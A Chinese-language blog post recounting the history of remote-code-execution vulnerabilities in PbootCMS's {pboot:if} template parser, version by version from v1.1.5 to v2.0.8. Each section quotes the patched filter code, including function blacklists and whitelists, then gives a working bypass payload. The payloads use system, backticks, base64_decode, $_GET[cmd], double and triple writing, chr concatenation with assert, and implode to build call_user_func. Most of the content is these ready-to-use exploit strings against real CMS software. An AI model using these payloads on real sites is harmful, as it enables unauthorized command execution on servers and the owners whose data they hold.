PbootCMS任意代码执行的前世今生

行业资讯

admin

发布时间：2024-04-03

浏览：44 次

PbootCMS (v1.1.5及其以下)

漏洞复现

poc:{pboot:if(system(whoami))}{/pboot:if}

漏洞分析

漏洞点位于/apps/home/controller/ParserController.phppublic function parserIfLabel($content){ $pattern = /\{pboot:if$([^}]+)$\}([\s\S]*?)\{\/pboot:if\}/; $pattern2 = /pboot:([0-9])+if/; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ; $out_html = ; // 对于无参数函数不执行解析工作 if (preg_match(/[\w]+/, $matches[1][$i])) { continue; } eval(if( . $matches[1][$i] . ){$flag="if";}else{$flag="else";}); ......这里有通过两个正则表达式后即可进入eval函数且$content

是可控的

第一个正则表达式限制格式格式必须为 {pboot:if(payload)}{/pboot:if}

形式

第二个正则表达式不允许出现字母后面加 ()的情况，如phpinfo()这里很好绕过，比如phpinfo(1)，system(任意命令)

PbootCMS (v1.1.6-v1.1.8)

漏洞分析

从1.1.6对之前存在的任意代码执行漏洞进行了修补，增加了部分函数黑名单，代码如下public function parserIfLabel($content){ $pattern = /\{pboot:if$([^}]+)$\}([\s\S]*?)\{\/pboot:if\}/; $pattern2 = /pboot:([0-9])+if/; if (preg_match_all($pattern, $content, $matches)) { // IF语句需要过滤的黑名单 $black = array( chr, phpinfo, eval, passthru, exec, system, chroot, scandir, chgrp, chown, shell_exec, proc_open, proc_get_status, error_log, ini_alter, ini_set, ini_restore, dl, pfsockopen, syslog, readlink, symlink, popen, stream_socket_server, putenv, unlink, path_delete, rmdir, session, cookie, mkdir, create_dir, create_file, check_dir, check_file ); $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ; $out_html = ; $danger = false; foreach ($black as $value) { if (preg_match(/ . $value . ([\s]+)?\(/i, $matches[1][$i])) { $danger = true; break; } } // 如果有危险字符，则不解析该IF if ($danger) { continue; } eval(if( . $matches[1][$i] . ){$flag="if";}else{$flag="else";});显然黑名单有漏网之鱼，但是由于将单引号、双引号都进行了html实体转义让很多函数不能使用，但是依然有可以用的，如base64_decode，反引号等payload1{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}

payload2{pboot:if(var_dump(`whoami`))}{/pboot:if}

PbootCMS(v1.1.9-v1.3.2)

发现黑名单有不足于是改成了白名单，代码如下public function parserIfLabel($content){ $pattern = /\{pboot:if$([^}]+)$\}([\s\S]*?)\{\/pboot:if\}/; $pattern2 = /pboot:([0-9])+if/; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ; $out_html = ; $danger = false; $white_fun = array( date ); // 不允许执行带有函数的条件语句 if (preg_match_all(/([\w]+)([\s]+)?\(/i, $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if (function_exists($value) && ! in_array($value, $white_fun)) { $danger = true; break; } } } // 如果有危险字符，则不解析该IF if ($danger) { continue; } else { $matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串 } eval(if( . $matches[1][$i] . ){$flag="if";}else{$flag="else";}); ......如果我们能绕过function_exists的检测就行了网上有师傅给了如下绕过思路

payload1{pboot:if(syste\m(whoami));//)}{/pboot:if}

payload2{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system

后面的版本添加了正则匹配eval，其实也没啥用，上面两个payload一样可以用

PbootCMS(v1.3.3-v2.0.2)

过滤了特殊字符导致使用非交互式直接执行任意代码的时代结束

然而留言部分任然存在任意代码执行，代码如下public function parserIfLabel($content){ $pattern = /\{pboot:if$([^}]+)$\}([\s\S]*?)\{\/pboot:if\}/; $pattern2 = /pboot:([0-9])+if/; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ; $out_html = ; $danger = false; $white_fun = array( date, in_array, explode, implode ); // 还原可能包含的保留内容，避免判断失效 $matches[1][$i] = $this->restorePreLabel($matches[1][$i]); // 解码条件字符串 $matches[1][$i] = decode_string($matches[1][$i]); // 带有函数的条件语句进行安全校验 if (preg_match_all(/([\w]+)([\\\s]+)?\(/i, $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if ((function_exists($value) || preg_match(/^eval$/i, $value)) && ! in_array($value, $white_fun)) { $danger = true; break; } } } // 不允许从外部获取数据 if (preg_match(/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i, $matches[1][$i])) { $danger = true; } // 如果有危险函数，则不解析该IF if ($danger) { continue; } eval(if( . $matches[1][$i] . ){$flag="if";}else{$flag="else";});禁止了外部数据的获取，白名单处的正则匹配不严谨，导致函数名+空格+()可以实现绕过payload{pboot:if(system (whoami))}{/pboot:if}

PbootCMS(v2.0.3)

增加了外部获取数据过滤部分，代码如下if (preg_match(/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)/i, $matches[1][$i])) { $danger = true; }并不影响我们使用system函数，提交上一个版本payload，发现pboot:if

被删掉了

在apps/home/controller/IndexController.php

里第270行

使用了将 pboot:if替换为空

所以直接双写绕过payload{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}

PbootCMS(v2.0.4-v2.0.7)

使用上一个版本payload，发下双写也被过滤了

改动的地方位于/core/basic/Model.php

，增加了如下代码

也就是再过滤了一次pboot:if，然而这种替换为空是根本没用的，于是三重写绕过，但是v2.0.4还增加了正则黑名单的过滤，禁用了system

等函数，代码如下

正则匹配黑名单加强，代码如下 if (preg_match(/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i, $matches[1][$i])) { $danger = true; }发现漏掉了assert函数，没用过滤chr函数，所以直接拼接绕过payload{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}

PbootCMS(v2.0.8)

从v2.0.8开始采用递归替换pboot:if，位于/app/home/controller/MessageController.php第61行$field_data = preg_replace_r(/pboot:if/i, , $field_data);跟进一下，位于/core/function/handle.phpfunction preg_replace_r($search, $replace, $subject){ while (preg_match($search, $subject)) { $subject = preg_replace($search, $replace, $subject); } return $subject;}这样就无法采用双写绕过了，正则表达式处改动了，导致函数+空格被过滤，代码如下if (preg_match_all(/([\w]+)([\s\\\\]+)?\(/i, $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if (function_exists($value) && ! in_array($value, $white_fun)) { $danger = true; break; } } }后台不会经过preg_replace函数的处理，使用的白名单里implode函数任然可以实现任意代码执行payload{pboot:if(implode(, [c,a,l,l,_,u,s,e,r,_,f,u,n,c])(implode(,[s,y,s,t,e,m]),implode(,[w,h,o,a,m,i])))}{/pboot:if}

后记PbootCMS的最新版本v3.0.1已经发布修复了该漏洞，从v1.0.1最开始的第一个版本到v2.0.9历时2年经过不断的漏洞修复，但是每次修复后就被绕过，不由得引发一系列反思

- End -

精彩推荐